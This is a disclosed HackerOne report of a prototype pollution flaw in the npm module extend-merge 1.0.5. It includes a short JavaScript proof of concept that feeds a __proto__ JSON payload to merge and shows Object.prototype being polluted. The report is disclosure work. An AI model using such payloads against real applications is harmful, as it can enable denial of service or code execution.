[extend-merge] Prototype pollution

Disclosed: 2020-09-06 13:00:50 By d3lla To nodejs-ecosystem
High
Vulnerability Details
I would like to report a `prototype pollution` vulnerability in `extend-merge` module. It allows an attacker to inject properties on Object.prototype. # Module **module name:** `extend-merge` **version:** `1.0.5` **npm page:** `https://www.npmjs.com/package/extend-merge` ## Module Description Shallow extend and deep merge utility function. ## Module Stats [48] weekly downloads # Vulnerability ## Vulnerability Description The `merge` function can be used to add/modify properties of the Object prototype. These properties will be present on all objects. ## Steps To Reproduce: - install `extend-merge` module: - `npm i extend-merge` Create an object with `__proto__` property and pass it to the `merge` function: ```javascript const extend_merge = require('extend-merge'); const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}'); let obj = {}; console.log("Before : " + obj.polluted); extend_merge.merge({}, payload); console.log("After : " + obj.polluted); ``` Output: ```console Before : undefined After : yes ``` {F835068} ## Supporting Material/References: - OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS - NODEJS VERSION: v14.1.0 - NPM VERSION: 6.14.5 # Wrap up - I contacted the maintainer to let them know: [N] - I opened an issue in the related repository: [N] Thank you for your time. best regards, d3lla ## Impact The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.
Actions
View on HackerOne
Report Stats
  • Report ID: 878339
  • State: Closed
  • Substate: resolved
  • Upvotes: 5
Share this report